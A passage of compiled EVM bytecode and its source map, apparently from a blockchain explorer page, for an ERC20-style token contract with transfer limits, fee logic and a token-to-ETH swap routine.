750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561169a57601554811115611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090612b32565b60405180910390fd5b5b600c60019054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156116db5750601960149054906101000a900460ff16155b80156117355750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561174d5750601960159054906101000a900460ff165b156117a0576000600c60006101000a81548160ff021916908360ff160217905550600061177930610ae5565b905060155481111561178b5760155490505b600081111561179e5761179d81611a98565b5b505b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661181b5760135461180f8261180185610ae5565b611a8290919063ffffffff16565b111561181a57600080fd5b5b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118c25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119575760009050600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156119315750601760009054906101000a900460ff16155b15611952576001601760006101000a81548160ff0219169083151502179055505b611a1b565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036119ba57600e54600d81905550611a1a565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a1957600f54600d819055505b5b5b611a2784848484611b0c565b50505050565b6000838311158290611a75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6c919061221d565b60405180910390fd5b5082840390509392505050565b60008183611a909190612b52565b905092915050565b6001601960146101000a81548160ff021916908315150217905550611abc81611b8e565b6000479050611aed600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611dd1565b506000601960146101000a81548160ff02191690831515021790555050565b80611b2a57611b2560018015611b20575060015b611e1c565b611b63565b600c600081819054906101000a900460ff1680929190611b4990612b86565b91906101000a81548160ff021916908360ff160217905550505b611b6e848484611e82565b80611b8857611b8760018015611b82575060015b6120d7565b5b50505050565b6000600267ffffffffffffffff811115611bab57611baa612baf565b5b604051908082528060200260200182016040528015611bd95781602001602082028036833780820191505090505b5090503081600081518110611bf157611bf0612bde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cbc9190612c22565b81600181518110611cd057611ccf612bde565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d3730601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611339565b601760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d9b959493929190612d48565b600060405180830381600087803b158015611db557600080fd5b505af1158015611dc9573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e17573d6000803e3d6000fd5b505050565b6000600d54148015611e2b5750805b8015611e3957506000600e54145b8015611e4757506000600f54145b611e7f57600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b50565b600080611e8e83612132565b91509150611ee483600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461217790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f93611f3385610fc7565b611f8584600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b611a8290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061202881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120c89190612258565b60405180910390a35050505050565b801561212f57601054600d81905550601154600e8190555060405180604001604052806012548152602001606281525061210f610a54565b60ff166002811061212357612122612bde565b5b6020020151600f819055505b50565b60008060006064600d5485612147919061288e565b61215191906128ff565b90506000612168828661217790919063ffffffff16565b90508082935093505050915091565b60008183612185919061264a565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156121c75780820151818401526020810190506121ac565b60008484015250505050565b6000601f19601f8301169050919050565b60006121ef8261218d565b6121f98185612198565b93506122098185602086016121a9565b612212816121d3565b840191505092915050565b6000602082019050818103600083015261223781846121e4565b905092915050565b6000819050919050565b6122528161223f565b82525050565b600060208201905061226d6000830184612249565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122a382612278565b9050919050565b6122b381612298565b81146122be57600080fd5b50565b6000813590506122d0816122aa565b92915050565b6122df8161223f565b81146122ea57600080fd5b50565b6000813590506122fc816122d6565b92915050565b6000806040838503121561231957612318612273565b5b6000612327858286016122c1565b9250506020612338858286016122ed565b9150509250929050565b60008115159050919050565b61235781612342565b82525050565b6000602082019050612372600083018461234e565b92915050565b6000819050919050565b600061239d61239861239384612278565b612378565b612278565b9050919050565b60006123af82612382565b9050919050565b60006123c1826123a4565b9050919050565b6123d1816123b6565b82525050565b60006020820190506123ec60008301846123c8565b92915050565b60008060006060848603121561240b5761240a612273565b5b6000612419868287016122c1565b935050602061242a868287016122c1565b925050604061243b868287016122ed565b9150509250925092565b600060ff82169050919050565b61245b81612445565b82525050565b60006020820190506124766000830184612452565b92915050565b60006020828403121561249257612491612273565b5b60006124a0848285016122c1565b91505092915050565b6124b281612298565b82525050565b60006020820190506124cd60008301846124a9565b92915050565b60006124de82612278565b9050919050565b6124ee816124d3565b82525050565b600060208201905061250960008301846124e5565b92915050565b6000806040838503121561252657612525612273565b5b6000612534858286016122c1565b9250506020612545858286016122c1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061259657607f821691505b6020821081036125a9576125a861254f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125e5602083612198565b91506125f0826125af565b602082019050919050565b60006020820190508181036000830152612614816125d8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126558261223f565b91506126608361223f565b92508282039050818111156126785761267761261b565b5b92915050565b60008160011c9050919050565b6000808291508390505b60018511156126d5578086048111156126b1576126b061261b565b5b60018516156126c05780820291505b80810290506126ce8561267e565b9450612695565b94509492505050565b6000826126ee57600190506127aa565b816126fc57600090506127aa565b8160018114612712576002811461271c5761274b565b60019150506127aa565b60ff84111561272e5761272d61261b565b5b8360020a9150848211156127455761274461261b565b5b506127aa565b5060208310610133831016604e8410600b84101617156127805782820a90508381111561277b5761277a61261b565b5b6127aa565b61278d848484600161268b565b925090508184048111156127a4576127a361261b565b5b81810290505b9392505050565b60006127bc8261223f565b91506127c78361223f565b92506127f47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846126de565b905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612858602683612198565b9150612863826127fc565b604082019050919050565b600060208201905081810360008301526128878161284b565b9050919050565b60006128998261223f565b91506128a48361223f565b92508282026128b28161223f565b915082820484148315176128c9576128c861261b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061290a8261223f565b91506129158361223f565b925082612925576129246128d0565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612966601183612198565b915061297182612930565b602082019050919050565b6000602082019050818103600083015261299581612959565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006129f8602583612198565b9150612a038261299c565b604082019050919050565b60006020820190508181036000830152612a27816129eb565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a8a602383612198565b9150612a9582612a2e565b604082019050919050565b60006020820190508181036000830152612ab981612a7d565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000612b1c602883612198565b9150612b2782612ac0565b604082019050919050565b60006020820190508181036000830152612b4b81612b0f565b9050919050565b6000612b5d8261223f565b9150612b688361223f565b9250828201905080821115612b8057612b7f61261b565b5b92915050565b6000612b9182612445565b915060ff8203612ba457612ba361261b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612c1c816122aa565b92915050565b600060208284031215612c3857612c37612273565b5b6000612c4684828501612c0d565b91505092915050565b6000819050919050565b6000612c74612c6f612c6a84612c4f565b612378565b61223f565b9050919050565b612c8481612c59565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cbf81612298565b82525050565b6000612cd18383612cb6565b60208301905092915050565b6000602082019050919050565b6000612cf582612c8a565b612cff8185612c95565b9350612d0a83612ca6565b8060005b83811015612d3b578151612d228882612cc5565b9750612d2d83612cdd565b925050600181019050612d0e565b5085935050505092915050565b600060a082019050612d5d6000830188612249565b612d6a6020830187612c7b565b8181036040830152612d7c8186612cea565b9050612d8b60608301856124a9565b612d986080830184612249565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d3e9ad2371c46920d9430a384eb0d9cb7a95319fa90567bbb046f2d1f328386864736f6c63430008120033
Deployed Bytecode Sourcemap
11296:9523:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14204:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12205:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15041:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12670:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14481:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12786:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15210:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14390:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11772:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16020:98;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12749:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12821:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12628:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11714:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14584:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10882:148;;;;;;;;;;;;;:::i;:::-;;12378:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12508:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11652:55;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10653:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11828:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14295:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15531:211;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15750:262;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14715:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11999:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11928:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11417:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18718:160;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11889:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14890:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11038:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12172:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14204:83;14241:13;14274:5;14267:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14204:83;:::o;12205:27::-;;;;:::o;15041:161::-;15116:4;15133:39;15142:12;:10;:12::i;:::-;15156:7;15165:6;15133:8;:39::i;:::-;15190:4;15183:11;;15041:161;;;;:::o;12670:41::-;;;;;;;;;;;;;:::o;14481:95::-;14534:7;14561;;14554:14;;14481:95;:::o;12786:28::-;;;;;;;;;;;;;:::o;15210:313::-;15308:4;15325:36;15335:6;15343:9;15354:6;15325:9;:36::i;:::-;15372:121;15381:6;15389:12;:10;:12::i;:::-;15403:89;15441:6;15403:89;;;;;;;;;;;;;;;;;:11;:19;15415:6;15403:19;;;;;;;;;;;;;;;:33;15423:12;:10;:12::i;:::-;15403:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;15372:8;:121::i;:::-;15511:4;15504:11;;15210:313;;;;;:::o;14390:83::-;14431:5;14456:9;;;;;;;;;;;14449:16;;14390:83;:::o;11772:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;16020:98::-;16065:5;16089:13;;;;;;;;;;;:21;;16109:1;16089:21;;;16105:1;16089:21;16082:28;;16020:98;:::o;12749:28::-;;;;;;;;;;;;;:::o;12821:40::-;;;;;;;;;;;;;:::o;12628:33::-;;;;;;;;;;;;;:::o;11714:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;14584:123::-;14650:7;14677:13;:22;14691:7;14677:22;;;;;;;;;;;;;;;;14670:29;;14584:123;;;:::o;10882:148::-;10803:12;:10;:12::i;:::-;10792:23;;:7;:5;:7::i;:::-;:23;;;10784:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10989:1:::1;10952:40;;10973:6;::::0;::::1;;;;;;;;10952:40;;;;;;;;;;;;11020:1;11003:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;10882:148::o:0;12378:57::-;;;;:::o;12508:54::-;;;;:::o;11652:55::-;;;;;;;;;;;;;;;;;;;;;;:::o;10653:87::-;10699:7;10726:6;;;;;;;;;;;10719:13;;10653:87;:::o;11828:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;14295:87::-;14334:13;14367:7;14360:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14295:87;:::o;15531:211::-;15612:4;15629:83;15638:12;:10;:12::i;:::-;15652:7;15661:50;15700:10;15661:11;:25;15673:12;:10;:12::i;:::-;15661:25;;;;;;;;;;;;;;;:34;15687:7;15661:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;15629:8;:83::i;:::-;15730:4;15723:11;;15531:211;;;;:::o;15750:262::-;15836:4;15853:129;15862:12;:10;:12::i;:::-;15876:7;15885:96;15924:15;15885:96;;;;;;;;;;;;;;;;;:11;:25;15897:12;:10;:12::i;:::-;15885:25;;;;;;;;;;;;;;;:34;15911:7;15885:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;15853:8;:129::i;:::-;16000:4;15993:11;;15750:262;;;;:::o;14715:167::-;14793:4;14810:42;14820:12;:10;:12::i;:::-;14834:9;14845:6;14810:9;:42::i;:::-;14870:4;14863:11;;14715:167;;;;:::o;11999:52::-;;;;:::o;11928:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;11417:93::-;;;;;;;;;;;;;:::o;18718:160::-;18773:7;18799:19;:26;18819:5;18799:26;;;;;;;;;;;;;;;;;;;;;;;;;:71;;18869:1;18863:4;18855:15;;;;:::i;:::-;18799:71;;;18848:2;18836;:15;;;;:::i;:::-;18799:71;18792:78;;18718:160;;;:::o;11889:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14890:143::-;14971:7;14998:11;:18;15010:5;14998:18;;;;;;;;;;;;;;;:27;15017:7;14998:27;;;;;;;;;;;;;;;;14991:34;;14890:143;;;;:::o;11038:244::-;10803:12;:10;:12::i;:::-;10792:23;;:7;:5;:7::i;:::-;:23;;;10784:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11147:1:::1;11127:22;;:8;:22;;::::0;11119:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;11237:8;11208:38;;11229:6;::::0;::::1;;;;;;;;11208:38;;;;;;;;;;;;11266:8;11257:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;11038:244:::0;:::o;12172:26::-;;;;:::o;1430:98::-;1488:7;1519:1;1515;:5;;;;:::i;:::-;1508:12;;1430:98;;;;:::o;1540:::-;1598:7;1629:1;1625;:5;;;;:::i;:::-;1618:12;;1540:98;;;;:::o;2115:::-;2168:7;2195:10;2188:17;;2115:98;:::o;16687:266::-;16799:1;16782:19;;:5;:19;;;;:44;;;;;16824:1;16805:21;;:7;:21;;;;16782:44;16774:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;16889:6;16859:11;:18;16871:5;16859:18;;;;;;;;;;;;;;;:27;16878:7;16859:27;;;;;;;;;;;;;;;:36;;;;16927:7;16911:32;;16920:5;16911:32;;;16936:6;16911:32;;;;;;:::i;:::-;;;;;;;;16687:266;;;:::o;16961:1616::-;17111:1;17095:18;;:4;:18;;;17087:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;17188:1;17174:16;;:2;:16;;;17166:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;17247:18;:24;17266:4;17247:24;;;;;;;;;;;;;;;;;;;;;;;;;17246:25;:62;;;;;17286:18;:22;17305:2;17286:22;;;;;;;;;;;;;;;;;;;;;;;;;17285:23;17246:62;17243:197;;;17371:12;;17333:6;:50;;17325:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;17243:197;17480:11;;;;;;;;;;;17469:22;;:7;;;;;;;;;;;:22;;;;:57;;;;;17510:16;;;;;;;;;;;17509:17;17469:57;:95;;;;;17551:13;;;;;;;;;;;17543:21;;:4;:21;;;;17469:95;:133;;;;;17581:21;;;;;;;;;;;17469:133;17452:497;;;17669:1;17659:7;;:11;;;;;;;;;;;;;;;;;;17685:28;17716:24;17734:4;17716:9;:24::i;:::-;17685:55;;17781:12;;17758:20;:35;17755:78;;;17819:12;;17796:35;;17755:78;17873:1;17850:20;:24;17847:91;;;17890:36;17905:20;17890:14;:36::i;:::-;17847:91;17628:321;17452:497;17966:22;:26;17989:2;17966:26;;;;;;;;;;;;;;;;;;;;;;;;;17962:85;;18031:15;;18002:25;18020:6;18002:13;18012:2;18002:9;:13::i;:::-;:17;;:25;;;;:::i;:::-;:44;;17994:53;;;;;;17962:85;18060:18;18081:4;18060:25;;18113:16;:22;18130:4;18113:22;;;;;;;;;;;;;;;;;;;;;;;;;:70;;;;18163:16;:20;18180:2;18163:20;;;;;;;;;;;;;;;;;;;;;;;;;18113:70;18096:406;;;18226:5;18210:21;;18249:19;:23;18269:2;18249:23;;;;;;;;;;;;;;;;;;;;;;;;;:41;;;;;18277:13;;;;;;;;;;;18276:14;18249:41;18246:70;;;18309:4;18293:13;;:20;;;;;;;;;;;;;;;;;;18246:70;18096:406;;;18347:13;;;;;;;;;;;18339:21;;:4;:21;;;18335:167;;18389:7;;18376:10;:20;;;;18335:167;;;18428:13;;;;;;;;;;;18422:19;;:2;:19;;;18418:84;;18474:8;;18461:10;:21;;;;18418:84;18335:167;18096:406;18522:47;18540:4;18545:2;18548:6;18555:13;18522:17;:47::i;:::-;17064:1513;16961:1616;;;:::o;1646:206::-;1732:7;1790:1;1785;:6;;1793:12;1777:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1832:1;1828;:5;1821:12;;1646:206;;;;;:::o;1218:98::-;1276:7;1307:1;1303;:5;;;;:::i;:::-;1296:12;;1218:98;;;;:::o;18888:238::-;13123:4;13104:16;;:23;;;;;;;;;;;;;;;;;;18973:38:::1;18990:20;18973:16;:38::i;:::-;19022:19;19044:21;19022:43;;19076:42;19089:16;;;;;;;;;;;19106:11;19076:12;:42::i;:::-;18962:164;13169:5:::0;13150:16;;:24;;;;;;;;;;;;;;;;;;18888:238;:::o;19620:406::-;19750:13;19746:116;;19779:21;19787:4;:12;;;;;19795:4;19787:12;19779:7;:21::i;:::-;19746:116;;;19841:7;;:9;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;19746:116;19882:44;19900:6;19908:9;19919:6;19882:17;:44::i;:::-;19943:13;19939:66;;19972:21;19980:4;:12;;;;;19988:4;19980:12;19972:7;:21::i;:::-;19939:66;19620:406;;;;:::o;19136:474::-;19204:21;19242:1;19228:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19204:40;;19273:4;19255;19260:1;19255:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;19299:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;19289:4;19294:1;19289:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;19332:62;19349:4;19364:15;;;;;;;;;;;19382:11;19332:8;:62::i;:::-;19405:15;;;;;;;;;;;:66;;;19486:11;19512:1;19529:4;19556;19576:15;19405:197;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19191:419;19136:474;:::o;18587:120::-;18672:6;:15;;:23;18688:6;18672:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18587:120;;:::o;16163:267::-;16233:1;16219:10;;:15;:29;;;;;16238:10;16219:29;:45;;;;;16263:1;16252:7;;:12;16219:45;:62;;;;;16280:1;16268:8;;:13;16219:62;16283:7;16216:74;16314:7;;16302:9;:19;;;;16336:8;;16323:10;:21;;;;16360:10;;16345:12;:25;;;;16391:1;16381:7;:11;;;;16404:1;16393:8;:12;;;;16419:1;16406:10;:14;;;;16163:267;;:::o;20038:506::-;20144:16;20162:19;20185:30;20200:14;20185;:30::i;:::-;20143:72;;;;20250:41;20276:14;20250:13;:21;20264:6;20250:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;20226:13;:21;20240:6;20226:21;;;;;;;;;;;;;;;:65;;;;20329:67;20374:21;20385:9;20374:10;:21::i;:::-;20330:38;20359:8;20330:13;:24;20344:9;20330:24;;;;;;;;;;;;;;;;:28;;:38;;;;:::i;:::-;20329:44;;:67;;;;:::i;:::-;20302:13;:24;20316:9;20302:24;;;;;;;;;;;;;;;:94;;;;20438:45;20471:11;20438:13;:28;20460:4;20438:28;;;;;;;;;;;;;;;;:32;;:45;;;;:::i;:::-;20407:13;:28;20429:4;20407:28;;;;;;;;;;;;;;;:76;;;;20516:9;20499:37;;20508:6;20499:37;;;20527:8;20499:37;;;;;;:::i;:::-;;;;;;;;20132:412;;20038:506;;;:::o;16442:232::-;16499:10;16495:23;16511:7;16495:23;16539:12;;16526:10;:25;;;;16563:9;;16553:7;:19;;;;16585:81;;;;;;;;16596:10;;16585:81;;;;16617:11;16585:81;;;16650:15;:13;:15::i;:::-;16585:81;;;;;;;;;:::i;:::-;;;;;;16574:8;:92;;;;16442:232;;:::o;20554:260::-;20624:7;20633;20653:19;20701:3;20690:10;;20675:14;:25;;;;:::i;:::-;:29;;;;:::i;:::-;20653:51;;20715:16;20734:31;20753:11;20734:14;:18;;:31;;;;:::i;:::-;20715:50;;20784:8;20794:11;20776:30;;;;;;20554:260;;;:::o;1324:98::-;1382:7;1413:1;1409;:5;;;;:::i;:::-;1402:12;;1324:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:77::-;1386:7;1415:5;1404:16;;1349:77;;;:::o;1432:118::-;1519:24;1537:5;1519:24;:::i;:::-;1514:3;1507:37;1432:118;;:::o;1556:222::-;1649:4;1687:2;1676:9;1672:18;1664:26;;1700:71;1768:1;1757:9;1753:17;1744:6;1700:71;:::i;:::-;1556:222;;;;:::o;1865:117::-;1974:1;1971;1964:12;2111:126;2148:7;2188:42;2181:5;2177:54;2166:65;;2111:126;;;:::o;2243:96::-;2280:7;2309:24;2327:5;2309:24;:::i;:::-;2298:35;;2243:96;;;:::o;2345:122::-;2418:24;2436:5;2418:24;:::i;:::-;2411:5;2408:35;2398:63;;2457:1;2454;2447:12;2398:63;2345:122;:::o;2473:139::-;2519:5;2557:6;2544:20;2535:29;;2573:33;2600:5;2573:33;:::i;:::-;2473:139;;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;2891:474;;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758